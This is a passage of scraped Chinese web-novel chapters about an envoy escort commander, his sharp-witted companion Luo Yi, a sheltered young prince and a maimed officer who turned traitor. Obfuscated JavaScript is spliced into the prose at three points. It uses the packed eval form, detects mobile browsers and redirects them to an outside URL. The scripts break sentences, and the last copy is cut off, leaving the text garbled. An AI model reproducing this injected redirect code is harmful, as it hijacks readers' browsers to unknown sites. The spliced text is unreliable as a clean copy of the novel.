“没有,你是家族的朋友,也是我的朋友,我没必要试探你。而明三和贺顼就是,偶然顺手事件。”罗易反问,“我现在却不解你为何要为一件无所谓的事情闷闷不乐。” 茶已经喝了,该起身告辞。 55. 荆芜耻 东海郡向西走,上官道,由东向西一路横穿沥州、乐州、丕州、银州、源州,然后从源州的边关出境,就是西域,途径几个小国,到达西域盟主国西秦。 西域各国之中,西秦国、高昌国、月氏国、乌伽瑟国、祜胡国是较为繁华的大国,也是西域里面的掌权国,轮流作西域联盟的盟主。而居最西北靠近沙漠地区的荆芜国等一众小国,地寡而贫瘠,势微言轻。 有的国度,如西秦、高昌的人与大齐、南宁相同,乌发黑瞳仁,面部扁平,相传是从中原迁徙到西域定居,建立了国度。而月氏和祜胡人面貌大不同于中原人,头发卷曲,身材壮硕,高鼻深目。 史书上载,荆芜国是一支楚人后裔,在八百多年前,楚汉相争之时为了保存楚人血脉,向西迁徙避祸,一直走到了大沙漠的边缘,在胡人的地盘定居了下来,以荆楚的荆字为国号,国姓是芜,因而称为荆芜国。 为了融入西域,最初期,国王带头与西域那些高鼻深目的胡人通婚,几百年过去,国内中原人长相竟然变得少见了。 近几十年荆芜国力不济,愈发被西域各国欺侮,也就是因为荆芜实在太靠近沙漠了,那块地皮大家都不稀罕,才没有被灭国。 保存荆楚人血脉向西迁徙的初衷,在生存面前不值一提,被初代的荆芜国王最早放弃。 这件事在大齐写成了一个寓言故事,编进启蒙书本,五岁孩童都知道,“荆芜之耻”是说人一旦放弃了气节求生,只能苟且偷生。 最离谱是山贼入伙结义,誓词里有句“绝不背信弃义犯荆芜之耻”,和那句经典的“此山是我开此树是我栽,若想从此过,留下买路财”一样广为人知,若是给山贼强盗写本行为手册,这两句话都会放在最醒目的位置。 连山贼都引以为耻的一个国度。 从荆芜弄来公主和亲,西域盟国的诚意没那么炙热,而大齐皇帝同意用荆芜的公主,代表皇帝也并不想让这次结盟长长久久。 他不相信结盟,盟约不可靠,只有掌控在自己手里的才可信。 估计到达时已经入冬了。 这么走,没有办法像军队一般扎营过夜,所以要重新规划,尽量多的路过镇甸和城市。 路线罗易已经规划得很好了,拿来地图给韦祎看,得承认她有足够的能力成为兵部或者户部的高级文官,至少能坐稳四品。 首先要追上大军,大军在乐州境内等在原地,不难追。 云攸纾还想着到了路上就不用晨练,韦祎不会再闹他。韦祎可不这么想,因为要时时刻刻防备,所以改成了每天夜里打坐练功不睡觉,白天赶路时进马车里补觉一个时辰,足够了。 适应一段时间之后连补觉都用不着。 打坐过夜,醒得很早,也绝不会发懒赖床,清晨准时把云攸纾拎出来晨练,路途上的每一间客栈院子,都留下了云攸纾愤恨又羞怯的汗水。 暂时没有任何成果,即使是校尉放慢了速度,用木刀攻击,他还是防不住。 又不抗打,每天早上,听到了云攸纾在院子里被打得哇哇叫,罗易和秦琼等人就知道,是时候起床了,慢慢洗漱,打理一番琐事,正赶上云攸纾结束痛苦的晨练大家一同用早饭。 幸好每一间客栈只住一晚上便启程,不然,持续发出这个清晨搅扰的声音,会被店老板轰出去。 “不是我说你,木剑外头包着软布,连个淤青都没打出来,至多是擦红了一点,你叫唤什么?” “看到人打过来,他那么气势汹汹的,多吓人啊!你看别人打你,你不害怕吗!” 理不直气也壮。 “气势汹汹”的那个校尉要冤死了,他是这几个人里面长相最和善的,国字脸,粗眉毛,厚嘴唇,一脸正气。这几天当陪练耐心也很好,就差微笑服务了。 算了,微笑给别人喂招,难伺候的这位小王爷大概会觉得是在嘲笑他,更要耍赖。 罗易那边的事情不用操心,但是!那边的随行人员是:褚先生、秦琼、朱愈、外加六位镖师。朱愈和秦琼各带了两个伙计,而罗易,竟然是独自一人,连个贴身侍女之类的人都没带! 可以看出来,在外出需要自己洗衣裳的情况下,罗易也不穿浅色,甚至不穿丝绸,全是烟灰色、棕褐色的布衣裳,比韦祎平时穿的颜色还暗。 秦琼说帮她洗衣裳,罗易也不用,端着盆挽起袖子就和秦琼一起去井边洗,顺便与当地正凑在井边干家务事的老阿嬷、小姑娘们唠几句闲嗑。 韦祎为什么知道这件事,因为韦祎也在那洗衣服,小板凳坐一排,一人一大盆,他是不好意思让校尉帮忙洗的。 唯有褚先生轻松,手下的亲信镖师给他打理生活。 算算人手,敌对势力褚先生的战斗力显然高过罗易这一边啊! 保护云攸纾之余,还要看顾罗易等人的安全。 “你为什么不多带几个伙计,或者把站在你这边的大镖头带上也行!”韦祎默默隐去“你是傻吗?”这句话,但是写在脸上了。 “放心,没问题的。” 读取韦祎脸上的字,罗易无奈问:“你不满,我带的防备人手不够,你就要看顾我的安全。”深吸一口气,“我没问题的,我才认识你几天?你没在的时候我一样跟他们打交道,若我何时需要帮忙,我会直说。”罗易把“你这样很烦”这句话也吞下去没说,但是写在脸上。 韦祎读取了这句潜台词,心想,同行的友人身边存在能够威胁生命安全的潜在危险,危险真实存在,她不要求我看顾她,我就不看顾了? 这是想做到就能做到的事情吗?强人所难! 双方行为模式照旧,这次交流根本没积极意义。 幸亏大军驻扎在一个镇甸附近的空地上,从镇子门口出发,骑马用不上一盏茶的时间,就能到营地。 也就只有这么短的距离,韦祎才敢把罗易和云攸纾放在镇甸里,留下肖丰保护,自己带了两个校尉,回大营。 营地里一切如常,布置与前些日子回来那一趟看到的没什么不同,空地上有两队人操练,劲儿劲儿的,比赛谁喊得响亮,看着都眼生,约莫分别是庞仁和曲喆的队伍。 已经驻扎了好几日,所以众人该干嘛干嘛,晒被褥的、刷鞋的、补衣裳的,火头军的小队还趁着这段秋高气爽的时间晒青菜干,青瓜、长豆角、茄子皮加盐巴煮透,压干水分,放在大扁上晾晒,在地上摆了望不到头的一大片,三个人分工站在各处,拿着扫帚赶苍蝇。 八成就是扫地的扫帚,用那玩意放在菜干上赶飞虫,不如不赶,干净不到哪里去。 扎营的气氛,挺让人怀念的。 上一次作为弓兵统领中郎将,随承亲王大军南下,驱除南稞国胆敢进犯大齐的蛮子,何等激动人心。 如今又当一回中郎将,只不过这次是出使仪仗的安军中郎将。 “你们!干什么呢!干什么呢!让你们站这赶苍蝇,没让你们用这玩意赶,都以为自己不吃是怎么的!懒成什么样了?回工具房里把扫地的放下,拿上拂尘,能要了你们的命?!绕营地跑十圈,跑不完不准吃午饭!” 不知道从哪里冒出来一个光着膀子的高个青年,汗流浃背,皮肤都红通通的,吆喝着三步并作两步守护菜干。“火头军的操练队长二猴子呢,让他过来盯着!” 准备用来狡辩的话都被钱氿抢先说了,这几个人只好灰溜溜应是。 “先把这扫帚洗了放回仓库去。” “钱将军,立威呢?”韦祎远远站着,笑着招呼他。 钱氿眼睛一亮,跑过来:“您回来了。” 跟着韦祎回来的两个校尉抱拳,喊一声”氿哥”。 不仅是没穿上衣,裤子也被挽到了大腿上,湿漉漉的,光着脚丫子。“你这是怎么弄的?也跑圈去了?” “后头烧大灶煮菜,切了晒菜干,从早上弄到现在。这几天得闲,天气也不错,我还把您的被褥拿出来晒了,在大帐门口。您晚上留下来住吗,晒好了我给您放回去。”说完了这句,钱氿立刻正色,小声道:“周冲的胳膊是怎么回事,你们遇到危险了?什么硬点子能把他伤成那样?” “周冲?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14482704|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乍一听,韦祎怔了下子,钱氿应该不知道周冲受伤啊。 “您不知道?我还好奇他受了伤,您怎么会放心让他一个人回来。” “他回来了?在这?”韦祎的声音不自觉变冷了几分。 韦祎有变化,又瞅见后面那两个校尉听了周冲,手都握紧了刀柄。依照钱氿的聪明,自然能看出来,“哦?有问题。” “是有问题。”韦祎说。 “多大的问题?要拿下他?” “先不用,你们俩把手放下。我稍后跟你说。”韦祎往远处的军医营帐里看了一眼,正有一人掀开了帐子,踉踉跄跄跑过来。“他正往我们这边走,都放松。” “中郎将!”从胳膊肘下三寸开始断的,没了的那部分被韦祎捡了寄到京城去了,断口处包着厚厚的白纱布。走到近前来停下,噗通一跪,声泪俱下:“末将护卫不力,致使平郡王遇险,请中郎将责罚!” “哎呦喂,小声。”韦祎想要捂他的嘴了,为什么不能把云攸纾带到军队里,因为要保密。这么在营地中间的过道上大声一喊,怕有人听不见? “没事了,没事了啊,人都救回来了。眼泪擦一擦,多大的人了,成什么样子?”一边说,一边挪动,挡住周冲看自己身后那两个表情复杂的校尉。 韦祎自己都没想到,见到了周冲,会说这句话。 不清楚周冲了解多少情况,但是周冲背叛,韦祎是一清二楚的,拔剑斩了他? 新得了好剑,人命来祭。 “对了,你受了伤,跟着在队伍里骑马赶路、干活也不方便,跟我走吧,有马车坐,回去把东西收拾了,要换的药都带好,朱愈在呢,给你换药是没问题。” 周冲答应了,目送他走,对钱氿说:“你也来吧,和肖丰换换班,我觉得他再跟我相处几天,就要揍我了。” “好咧,您等着,我去穿衣服。” “等等,顺路把庞将军和曲将军叫来,我交代两句,准备出发了。” “还有,张丙乙是吧,叫你呢,就是你,你先回去,让他们有个准备,别等会儿大呼小叫也别拔刀拔剑。” 别大呼小叫,特指云攸纾,拔刀拔剑,特指肖丰。 张丙乙,原名张三二,从军之后,立功当军官了,叫张三二不体面,改了。 不过韦祎也没觉得叫丙乙体面到哪儿去,尤其是别人叫他张丙乙他自己竟反应不过来,熟悉的人还是叫他三二。 这是肖丰从禁军队伍里撬来的好手,跟着曲喆那个没本事的早就不耐烦了,一招呼立刻贴过来。 运气还是不好,曲喆是个假二世祖,所以挺有点功利心的,知道上进。 肖丰是不错,可肖丰这位大上司是个真二世祖,真没上进心。 不过待人好,没一丁点二世祖的臭毛病,竟然会靸着木屐拎着盆与大家一起去井边洗衣裳,打水洗菜做饭,活计干得可顺手了。 说句心里话,张丙乙手下的小兵来巴结他,要给他洗衣服,他都犯懒不拒绝呢!韦祎的地位又安全,盘算一番,总比跟着从前的上司曲喆好。 “是!末将得令!”不废话,转身便走。 今天看来,韦将军多冷静啊,一定是想将计就计,隐约记得学兵法的时候先生讲了,所谓大将军,就是要泰山崩于前而面不改色,抽出一把刀来往你头上砍,你想一动不动甚至不眨眼就能做到,这才能成大将军,大元帅! 当时全班同学两两一组试了一下子,别说拔刀比划了,就是拿一本书扑棱扑棱在眼前一甩,都忍不住地护住眼睛往旁边闪躲。 这要是我啊,我都知道眼前这人是个叛国家卖主将的软蛋,跑来面前装无辜摇尾乞怜,一定要大骂一顿推出去砍了!张丙乙一边骑马往回走,一边心生崇敬,热血上涌,激动不已。 把这个激动人心的消息告知了肖丰和罗易,他们两个对视一眼,无奈摇头。 “肖大哥,我去告诉给平焕吧,别等会儿演得不像。” “好,劳烦罗小姐。”肖丰点点头,好在自己是马上就要换班回军营了。 56. 命如纸 又看了张丙乙一眼,可怜,还在这崇拜人家呢,根本不是那回事。 肖丰了解,韦祎这纯粹是在为了避免冲突而制造更大的麻烦,谁让人家是主将,能兜得住,他爱怎么样就怎么样吧,换班了,钱氿比自己适合这粉饰太平的烂摊子。 一步步越走越深,卖了主将还敢回来。糊弄过去?办不到。 周冲前阵子刚过二十岁的生日,在钱氿的提醒下,一向不记这种事情的肖丰想,虽然关系不错,这孩子也挺值得欣赏,但平时并没说要送礼物表示表示,这次要送就送个好的,最特别的。 捡起老家学的手艺,试做了几次,护臂最好,耐用,穿便服权当装饰品,不像鞋子,至多穿一、两年就坏了。 钱氿骂:“你会这手艺?你都没给我做过皮具,你给那个小崽子做!” 浪费!周冲啊,拐弯上了这条路,就算是给他做双鞋,他都活不到鞋子穿坏。 果真,钱氿跟着韦祎出现在客栈的时候,看见他第一眼,钱氿夸张地摆了浪!费!二字的口型,能在表情里面看见大大的惊叹号。 钱氿身后站着周冲,和肖丰正对面,肖丰不好表示什么,先忍着,一会儿算账。 有张丙乙提前回来报信,云攸纾内疚作祟,直接躲了没出来。肖丰勉强点点头转身揪着钱氿拐弯走掉。罗易等人表面功夫做得足,围着周冲嘘寒问暖一番,由朱愈把周冲送进屋内。 过了没一会儿,房门被敲响了,罗易走进来,抚裙摆悠然落座,倒一杯热茶,端在半空中,慢条斯理地品。 “乡野客栈的碎茶叶渣,有什么值得你品的?”韦祎一直站在中间的空地上,谨慎地持防御姿态,早就猜到了有人要来数落,不如等大家都到齐了一起听。 很快,肖丰和钱氿敲门进来了,云攸纾最后到,在走廊上左右张望,鬼头鬼脑跑进了韦祎的房间。 大家落座,韦祎站着。 “平焕啊,这位是钱氿,钱将军,他来与肖将军换班。是不是比肖将军和善很多?”韦祎试图寻找盟友。 “哼!”云攸纾不屑一顾。 “问平郡王殿下安好。”钱氿笑眯眯抱拳。 视线在这两个人的脸上停留片刻,即刻就判断出钱氿来随行比肖丰好,至少,不会在起夜的时候吓死自己。 “咳,说正事!”罗易把茶碗放下了。 “你说。”韦祎眼神游移。 “先问一句,中郎将,这位就是罗小姐?” “是,在下罗易,钱将军好。”罗易微笑打招呼。 “好咧,别客气,在您面前哪敢称将军,您叫我名字就成。” 罗易从善如流,“钱大哥客气。” 露出两分迷之微笑,钱氿闭嘴了。 韦祎想解释,自己没有和罗易谈婚论嫁,可钱氿又没问,没问还要解释岂不是此地无银三百两? 看他的神情,绝对认为自己和罗易之间有些什么。罗易呢?正卯着劲要报复自己,她才不会主动澄清。 “哎呀呀,中郎将你不要紧张,我们又不会指责您。”钱氿看韦祎还紧张兮兮的站着,安慰他。 “我紧张了吗?” “子隽啊,你是该紧张了,别告诉我你是为了查明真相才把周将军给带回来。”罗易说,“事情还有什么需要查的吗?都查清楚了,对方只有两个人,遇到了,一刀一个就两清了,又不是打不过,都自己撞上来了,欺负你傻呢。” 钱氿和肖丰一起看向窗外,主将和准夫人吵嘴,别插话为好。 窗外隔着院子就是后厨房,从这个角度能看见大灶,店家的厨师正在烧午饭,嗯,看着像是葱爆肉片,厨师动作娴熟,味儿应该不错。 “别以为你们两个不说话就成了,你们都坐到一边去了!” “中郎将,您别站那么远,您也过来坐啊。”钱氿给他拉开了凳子,可是韦祎并不会过去。 “平焕,你说呢?应该怎么办?” “啊?逸希姐姐,你问我?”云攸纾是来观望情况的,被叫到,根本反应不过来。 眨着眼睛想了一会儿。 “你还不清楚吧,周将军被那些敌国的贼人捉走之后,竟然把子隽会吃过敏的食物告诉了贼人,然后贼人就买通了我府里的厨子,专做子隽会过敏的吃食,害得他晕倒,差点闭气死过去。头肿了那么些时日。” “上次你说,韦子隽他头肿脸绿是因为中毒啊!"云攸纾想起了,和芜夙见面时曾经说过这件事,芜夙的反应有异,说是罗易并不信任他。 “那会儿子隽自己说不清楚话,后来消肿了能说话了,大家才清楚原委。原来是过敏,而知道他吃食过敏的人,只有周将军了。” 有了解释,这事儿虽怪,能糊弄过去。 韦祎愣了一下子,为何罗易突然要把话说开,骗人都骗了,骗到底呗。 原来是因为周冲回来了,他若是替那个芜夙姑娘做事,大家一起赶路,一定会有机会与云攸纾交流,到那时候被云攸纾发现大家是真骗他,还不如先把谎圆了。 想得够快啊。 被罗易赶在自己前面周全了此事,韦祎更觉得,自己脑子一乱把周冲带回来,却没把事情想周全,问心有愧。 “中郎将,又中招了?这回严重吗?”钱氿也是好人,跳出来缓解尴尬。虽然,在自己的相亲对象家里脸肿成猪头这件事,并不会让韦祎减轻尴尬。 “你还没说呢。”罗易伸手覆在云攸纾的手背上,拍一拍,和颜悦色道:“平焕啊,给子隽出出主意。” 平时,罗易开口,云攸纾就一定会站到罗易那边去,今天却没有,挺直了腰杆激动好一会儿,也没说建议韦祎去把周冲斩了。 这二人被掳走的过程,之前,韦祎猜得八九不离十。 着火之后,云攸纾被那群燕国的下等喽啰掳走,用郡王凭信叫开了城门,一路往大水洞处去,因为是马车,走得比骑马要慢,所以被周冲给赶上了。 周冲跳出来,伤了好几个人,此时,一直在暗处跟着的芜夙趁着燕国喽啰都在和周冲打架,钻进马车里,众目睽睽之下扛走了云攸纾。 大水洞曲折蜿蜒,里面有不少小洞口,把云攸纾带到她做为据点的一个小洞口里,商议一番。 芜夙要的是出使的国书,既然不在韦祎身上,那一定就在这个人身上,冷眼旁观就可得知,韦祎去东平郡就是为了找他,而且这个小子被大家重重保护,一定是出使的重要人物,刚才又听见了出城时亮出了郡王凭信,抓他准没错,典明结盟事宜的大齐国书,也许就在他的身上。 云攸纾的身上当然没有带国书。 不过,为了脱身,云攸纾认下了自己郡王的身份,说自己也并不想让这次结盟成功,等回去了,一定拿来国书给芜夙。芜夙提出把云攸纾的郡王印信官凭扣下,作为交易的筹码,云攸纾想,若是凭信不在,一定会被韦祎他们发现的,一咬牙,就说让芜夙找外面那个来救他的将军,把他给留下,等拿到了国书,就换回来。 他的计划没那么恶毒,刚才偷偷在马车里看,周冲的武艺可好了,打那么多大汉都没有丝毫问题,到时候一定打得过这个又瘦又矮的小丫头。 想让芜夙放自己走,芜夙并没有把云攸纾的绳子解开,用绳子头拽着他,在大水洞里走了一炷香的时间,看见一艘船停在另一个洞口。 “这是那些燕国鞑子的船,我把你留在这。” “啊?你不放我回去,我怎么给你找国书啊,这些燕国人会把我带走的!”云攸纾慌了。 “把你扔到野地里,要么是被他们这些人找到,打你一顿,要么是被狼叼了,看看你这弱不禁风的样子,真是丢人现眼!”芜夙一边骂,一边用匕首逼着他走梯子上船,“你们那个将军什么的一定会来救你,你就安安分分在这里待上一时三刻。” 把云攸纾扔在船上,打了个呼哨,芜夙消失得无影无踪。 在船上留守的燕国人过来,看见了云攸纾,只以为是自己人送过来的,把他关进了船舱,糊里糊涂地接着忙碌。 芜夙回到了地面上,如鹞鹰一般从树枝上俯冲下来,手一晃,就砍下了周冲的胳膊,一巴掌把周冲给煽晕了,站在他身前,“这人我要了,还不快滚!” 燕国的喽啰们自有盘算,他们连周冲都打不过,更不可能是这个人的对手,需要绑架的人也不见了,垂头丧气回到了船上,没曾想,云攸纾已经在船上了,大喜,糊弄过去。 当然,因为还有一队人在东海郡采购,没回来,他们磨蹭了一天才做好出航准备,这叫各行动组进度不统一,技术性问题。要不然也不会被韦祎和罗晏给赶上,快刀割肉似的在船上扫荡了一圈。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496782|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 听说周冲先是被砍了一只胳膊,后来又不知为何投敌,犯下叛国重罪。 这一切的源头,都是因为自己答应芜夙用周冲当筹码。 早知道,让她拿走郡王的官凭印信不就成了?东西是死的,人是活的,这不是云攸纾第一次害人了,可无论害过几个人,都不好受。 欠了周冲这么大的一份债,根本没法还,此时人找上来了,怎么办?欠了太多债,最好不过债主死掉。 开口让韦祎斩了周冲,脸皮还没那么厚,又怕周冲来找他算账,要挟他做些什么事情。 “我……我不知道,我不管这事。”说完,狠心从罗易的手里把自己的手抽出来,跑出去一头扎进自己的房里。 “去看看。”韦祎对钱氿说。 “好咧,您放心,肖将军和我一起,有一堆事情要交接。”钱氿露出一副暧昧的神情,因为大家都走了,房里只剩下韦祎和罗易孤男寡女。 “平焕到底是年纪小,慈不掌兵、义不经商、仁不从政,有点道理,这话是你教平焕的?” “嗯,是他爹说给我的。” “他爹,喔,他爹不教他反而教给你,看来我们韦将军颇受重视啊。” “年少不懂事的时候,觉得是这个道理。” “那现在呢?” 韦祎摇摇头,现在,他也不知道自己是否还认同这句话。 “平焕现在还不够狠,不走这条路也就算了,走上了发狠这条路,最忌讳留着一点公义、仁心,要命。只可惜,他生的这个苦命,没给他别的选择。” 事情的过程和因果,韦祎与罗易心里都有了轮廓,再看云攸纾的行径,判断起来清楚了很多。 “刚才多谢了,我考虑不周,没想到周冲还会回来,忘了上次过敏对平焕扯谎的事情了。” “没问题,那个谎是我先说的,理应由我记着,由我解决。”罗易摆摆手,“你坐下,我仰着头说话好累。” 韦祎挪过去坐下。 “那你呢,除了不忍心之外,你有什么理由留着周冲?” “也不是不忍心。”韦祎想嘴硬一句,抬杠:“你带着对头褚先生出远门,就不许我把周冲带着?” “哎呦,你想说这事儿是吧!”比抬杠,罗易没怎么输过,来了兴致。 这能一样吗?罗易和褚先生不过是商行内部的一点权力争夺,没犯法、不伤人,虽然有可能会演化为暴力冲突。 周冲就不同了,护卫不力在先,叛国求生在后,接下来更离谱,还敢装无辜跑回来,不知道图些什么。 问他发生了什么事情,扯了个一听就不太可信的谎言,说重伤之后昏死过去,被歹人扔在了官道上,之后被路过的几个读书人救了,带着他走了一段路,在官道上看见了出使队伍的扎营地,就回来了。 真够凑巧的。 都是首领与属下的关系,但韦祎和周冲,与罗易和褚先生,是完全不同的情况。自知这件事上辩驳不过罗易,坐等挨训。 “行了,我有那么吓人吗?”罗易嗔笑。 接着又说:“我对你讲道理你一定不愿意听,不过我还是要提醒你,该惩处的人一定要惩处,这事儿对你来说无所谓,根本没有损失,但人和人的位置不同。对于……张丙乙那群人来说,忠君为国者为上,无能不忠者为下,盼着主将赏罚分明,廉洁奉公,不徇私枉法,这是人家的晋身之路,人家的职业梦想,你护了周冲一个,把其他人辛苦效忠出力置于何地?” 这是正理,韦祎肃容应是。既然已经把周冲给带回来了,就只好趁势查一查芜夙究竟是何目的,彻底解决了此事罢。 周冲被芜夙抓走,抵死不从会如何? 芜夙一刀杀了他。 而韦祎肖丰等人早因为行程问题放弃查访救人,转交给了当地的官员。 当地的官员推说无人可用,韦祎也没法子,直到去抓贺老头的时候,才知道不是真的无人可用,只是忙,没大功劳的事情不肯优先出手罢了! 不过到了那时候,韦祎也已经确认了周冲背叛,没必要去找当地密探的麻烦了。 命薄,叛与不叛,都得死。 “这么痛快?我说你,你都不生气的?”罗易反而好奇了。 被人指出问题一定不会很快乐,但是,“你说的对,为何不听?” 57. 一家门 “从谏如流啊子隽,佩服。”因为韦祎的反应超出了罗易的预期,刚才,自己却那么气势汹汹地说他,就好像他已经徇私枉法了一样,觉得有些过意不去,讪讪道:“不过啊,说起公平正义来,我何尝不是在享受特权,竟然好意思说你。” 韦祎当然是特权阶级了。 别人想入宫面圣,或者去后宫探望妃嫔,至少提前一旬请示,层层批准报备,最后才能进去半个时辰。韦祎就不同了,皇宫什么时候想去,随时递了牌子等一刻钟就能进,时间也没有限制。 就算是犯法,韦祎这种人,没犯下什么滔天大罪来,怎么胡闹都无所谓。 不过他自己没觉得,压根就没有想要过荒唐日子的自觉,而且分外敬业,奉公守法,于是大部分的特权就浪费了。 身在特权之中,总是会享受到,比如,想当官很容易,或者说,去做官是必然的命运。 “罗曏十岁杀了人,按律法是该我爹顶罪偿命,不过啊,散尽家财上下打点,最终,满打满算,我爹和罗曏只坐了几个月的牢而已。这不算完,等我家的生意缓过来了,总是有人拿这件事来编排,我就想了个法子,把受害那一家人从沥州迁了出去,落个清净,后来才想起来,我那不是仗着自己有钱,欺负人家吗?” 对这件事不感冒,罗易有分寸,又没有害人性命,所以无所谓。 转念,想起了另一件事:“容我一问,你之前那些提亲的公子,伤残的伤残,出丑的出丑,都是你,嗯,那个,安排的?” “不全是啊!有一些是相看两厌,顺理成章就散了,我也不知道后来他们为何倒了霉。只有那么七八个是我爹娘介绍来的,烦人得很,我没法子,只好想办法处理。我先说啊,我从来没有真的害人性命,就比如被马踩断了要害的那位,他自己骑马前喝酒,能怪谁?” 七、八个呢!懂了,就是手段精巧隐蔽不犯法,高级!并且感到害怕:“先打个商量,若是你日后对我有什么不满,咱们有话好好说。”她没有出手恶整的,竟然也会自然而然地倒霉,更可怕。 “子隽说哪里话呢,我觉得你很好。”罗易大笑,“虽然,我还猜不出你的看法。” “我看……开午饭了,我们下楼吃饭去。”韦祎呆滞了一会儿没有想到怎么回答,快步走到门口,做出请的手势。 罗易一边摇头一边笑,眼神飘过韦祎的头顶,先下楼去了。 这是另一件事。 自从看了罗晏以自己为外貌原型画的赵梦春,随后又发生了捡斗笠事件,韦祎近期不太想扎幞头了,看见幞头,爬在地上捡幞头的赵梦春就会赤身出现在脑海里挥之不去,长了一张自己的脸! 这几天一直用发簪。 出门没有带别的发簪,穿一身上等人的好袍子,头上插一根竹筷子也不成,太违和。只好连天戴着罗易送的那支羊脂白玉簪。 这情况,让罗易不多想就为难她了。韦祎觉得老天爷大概站在罗易那一边。这次、棋室那那次,常常是韦祎做的事,莫名其妙就合了罗易的喜好。 一般来说,这叫天作之合。多好的人啊,依照韦祎平日的性格,基本就被半推半就的办了,可这次,好像还梗着一道坎。 冲突在哪儿,他自己没弄明白,尤其是,罗易什么错都没有啊! 高效、直接、行事缜密、有勇有谋,也没有不善良或者不正直,长相配自己是绰绰有余,哪儿不对? 大家汇合了,难得的多休整了一天,大队伍驻扎日久,准备出发需要时间。 说白了,就是钱氿新做的那批菜干需要多晾一天,不然就会因为发潮而长霉,浪费。 再启程,钱氿和肖丰三天一换班,韦祎也是每隔三天就去大军里待半天,算是掌握了两方面的行程进度。当然,去大军的时候一定要带上周冲,可不敢把他和云攸纾留在一起。 褚先生、秦琼、朱愈也都知道周冲是个坏的,好在他们都是八面玲珑不怵演戏,表面上功夫比韦祎这群人过得去。 韦祎嫌瘆得慌,不想和周冲多交流,肖丰就更不乐意了,其他校尉们是从心底里瞧不上卖主求生的家伙,更不多理他,就只有钱氿仍旧与周冲像往日一般热络。 装下去,一定得出事儿。 “韦公子,在下跟您打个商量,您什么时候把周将军的事情给办了,我这天天和他同桌吃饭、给他换药,生怕他忽然抽出把刀来架在我脖子上,在下就是个小生意人,命贱,又打不过他,若是他拿我做人质跟您要什么好处,您跟他交换也不划算不是?您要是觉得不划算了,在下可就惨了。”朱愈说。 已经被逼得阴阳怪气了。 “给解释解释?”罗易还在旁边帮腔,“我也面临相同的险境。” 问题是,周冲回来之后,赶路大半个月过去,并没有可疑的行为,夜里、背人处,周冲甚至没有和云攸纾有过太多交流。 去问朱愈,白鹰也从未有过示警,这就证明了芜夙没有出现在附近。 至少没有出现在途经的同一个郡里面。也有可能她一直风餐露宿在城外面跟着? 药水服进了体内,和香囊发出的气味儿强度没法比,若是一方在城外、一方在城内,就没那么灵光了。 看芜夙的狠劲儿,做得到一直在城外睡野地里。也有可能是她走开了,换了别人来跟。 “你看,现在这个样子了,你以后有什么打算,我帮你安排。”韦祎去与周冲谈心。 “中郎将,我落得个残废,自知不能在军中效力,跟您走下去,也没什么意思了,我回来呢,只是想让中郎将给我一个死在战场上的机会,赚得几分名声,好过苟活过残生。” “你别想不开啊,你一死了之,你的老娘怎么办?难不成,让池勤给你照顾?前边呢,再有十天的路程,到了丕州的华阳郡,我让郡守派人护送你回京城,如何?” 劝这一套,韦祎都不知道自己在说些什么。 罗易曾提醒韦祎,实在下不去手,就把麻烦扔给别人。柳卞的四女婿,也就是韦祎的四表姐夫如今正在做丕州华阳郡的郡守,华阳郡是东西要道的必经之地,到了那里,可以把周冲这个麻烦扔给四表姐和四表姐夫。 合着当我的姐夫就是专门给我解决麻烦的?韦祎并不赞同这个提议。 四表姐与韦祎年纪相仿,二人同岁,小时候能玩到一起去,关系更好。大表姐、二表姐、三表姐成亲,韦祎还在师门,都没有参加。 回来之后,韦祎目睹了四表姐和四表姐夫相识到成亲,与他们两个关系最好,成亲时,还是韦祎作为娘家男丁给四表姐送嫁呢!而五表妹成亲的时候,韦祎正在出征稞国,回来之后就转了性子,不喜交际,因而与五表妹夫也不熟识。 与四表姐夫是同龄人,而三表姐夫是兄辈,韦祎很好意思把麻烦扔给三表姐夫,不太好意思把麻烦扔给四表姐夫。 对周冲说,到了丕州华阳郡就解决,并非要给四表姐夫找麻烦,是给自己设个时限,赶在到华阳郡之前,把周冲给解决了。 韦祎下定决心的当天,是肖丰回来与钱氿换班的时间。 “你伤口好的差不多,这个给你。”肖丰从包裹里取出颇有分量的一物,重重放在饭桌上。 众人一齐看去,是一截义肢,厚牛皮做的臂托,密实地缝了两层牛筋线,里面铺一层棉花软布垫底,外面包了一层铁甲,臂托上伸出去与人手臂差不多粗的空心铁管,尽头手的位置,安装了一个圆头铁钩子。 这还不算完,铁管铁钩能用机关拔下来,里面藏着极细的一截铁剑。 义肢上连着一片护肩,借助肩膀,足以把义肢固定结实。 不可谓不花心思。 想到肖丰这副尊容,兰花指捏着针线缝软布,一阵恶寒。 看来,下不去手的人,不止我一个啊!韦祎稍微幸灾乐祸。 趁着钱氿还没出发回到军营,众人又一次来到韦祎的房间,不过,这次换成了韦祎与大家一同坐下,肖丰自觉地站在了地中间等着被训。 “说说吧,你这不是浪费材料吗?”钱氿先开腔。 肖丰不语,俯视钱氿。 “哎?钱大哥,我怎么记得你前些日子对我讲,回到了军营还要帮忙打铁,不想回去吗?”云攸纾忽然说。 “打铁?钱氿,你也有份?” “哎呀,你看这个,都是肖丰非要我帮他。” 肖丰嗤笑一声。 钱氿只好换个阵营,起身挪到肖丰旁边站着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 